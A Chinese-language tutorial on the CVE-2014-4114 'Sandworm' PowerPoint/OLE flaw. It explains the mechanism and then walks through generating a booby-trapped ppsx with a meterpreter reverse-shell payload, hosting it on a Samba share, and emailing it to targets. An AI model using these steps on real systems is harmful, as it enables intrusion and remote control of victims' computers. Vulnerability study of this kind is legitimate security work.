沙蟲漏洞(CVE-2014-4114)利用測試方法
本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學(xué)之用,風(fēng)險自負(fù)!
漏洞時間:2014年10月底
測試目標(biāo):裝有office2007,office2013的機(jī)器。
漏洞說明:此漏洞目前主要被黑客組織用來進(jìn)行APT(Advanced Persistent Threat)攻擊,或者稱之為“針對特定目標(biāo)的攻擊”。主要針對政府等大型企業(yè),通過發(fā)送郵件的方式進(jìn)行攻擊。
CVE-2014-4114 是OLE包管理INF 任意代碼執(zhí)行漏洞,該漏洞影響Win Vista,Win7等以上操作系統(tǒng),通過使用PowerPoint作為攻擊載體,該漏洞是出現(xiàn)在Microsoft Windows和服務(wù)器上的OLE包管理器。在OLE打包文件(packer.dll)中能夠下載并執(zhí)行類似的INF外部文件,允許攻擊者執(zhí)行命令。
利用測試意在了解漏洞的危害,以進(jìn)行更好的防御。
漏洞原理
1.用到分析工具 filealyzer.
2.通過分析工具我們可以看到這個文件嵌入了兩個OLE 對象,如下:
OleObject2.bin中的\\192.9.205.102\share\slides.inf, 字符串,是一個webdav路徑,下載后發(fā)現(xiàn)是一個INF文件。oleObject1.bin是一個GIF文件。
2.當(dāng)該文件被PPT加載后,它會調(diào)用Packager.dll的CPackage::OLE2MPlayerReadFromStream函數(shù)將這兩個文件從網(wǎng)絡(luò)上下載下來并保存在臨時目錄中。
3.然后在函數(shù)CPackage::DoVerb中調(diào)用SHELL32!CDefFolderMenu::InvokeCommand函數(shù)加載slides.inf,并安裝這個inf文件。CPackage::DoVerb的關(guān)鍵代碼如下:
4.安裝INF的過程最后是通過調(diào)用C:\Windows\System32\InfDefaultInstall.exe程序來安裝的。如下圖:
5.Slide.inf 的內(nèi)容如下:
6.整個INF的主要功能是將slide1.gif重命名為slide1.gif.exe,然后添加注冊表啟動項。
漏洞大概原理就是:
執(zhí)行PPT –> 內(nèi)置2個OLE對象–> OLE對象包含2個遠(yuǎn)程webdav地址 –>調(diào)用packager.dll的函數(shù)CPackage::OLE2MPlayerReadFromStream把遠(yuǎn)程的 slide1.gif slides.inf 下載下來 —> 函數(shù)CPackage::DoVerb中調(diào)用SHELL32!CDefFolderMenu::InvokeCommand函數(shù)加載slides.inf,并安裝這個inf文件–>inf將slide1.gif重命名為slide1.gif.exe。然后添加注冊表啟動項。
目前已經(jīng)出現(xiàn)了把惡意代碼包含在ppt文件中,但我現(xiàn)在的演示是惡意代碼 放在了遠(yuǎn)程共享上。#p#
漏洞演示
vim ms14_060.py 把下面代碼復(fù)制到ms14_060.py中。
kali中的python可能沒有安裝pptx模塊。
我們手工安裝一下。
2.在kali系統(tǒng)搭建smb服務(wù)。把下面代碼復(fù)制到 /etc/samba/smb.conf 中。
mkdir /tmp/share
/etc/init.d/samba restart
3.執(zhí)行下面命令。
python ms14_060.py sploit.pptx 192.9.205.174 -m 7777
產(chǎn)生一個a.ppsx 的文件。和一個slide1.gif的木馬文件,slides.inf 的文件 slide1.gif中的攻擊載荷為 meterpreter/reverce_tcp木馬連接本地IP 192.9.205.174:7777 端口
生成的 aa.ppsx中可以寫任何東西,普通PPT文件。
本地監(jiān)聽 7777端口。
修改ppsx內(nèi)容。
修改名稱,以郵件或者各種方式發(fā)給需要攻擊者。
攻擊者打開,反彈回shell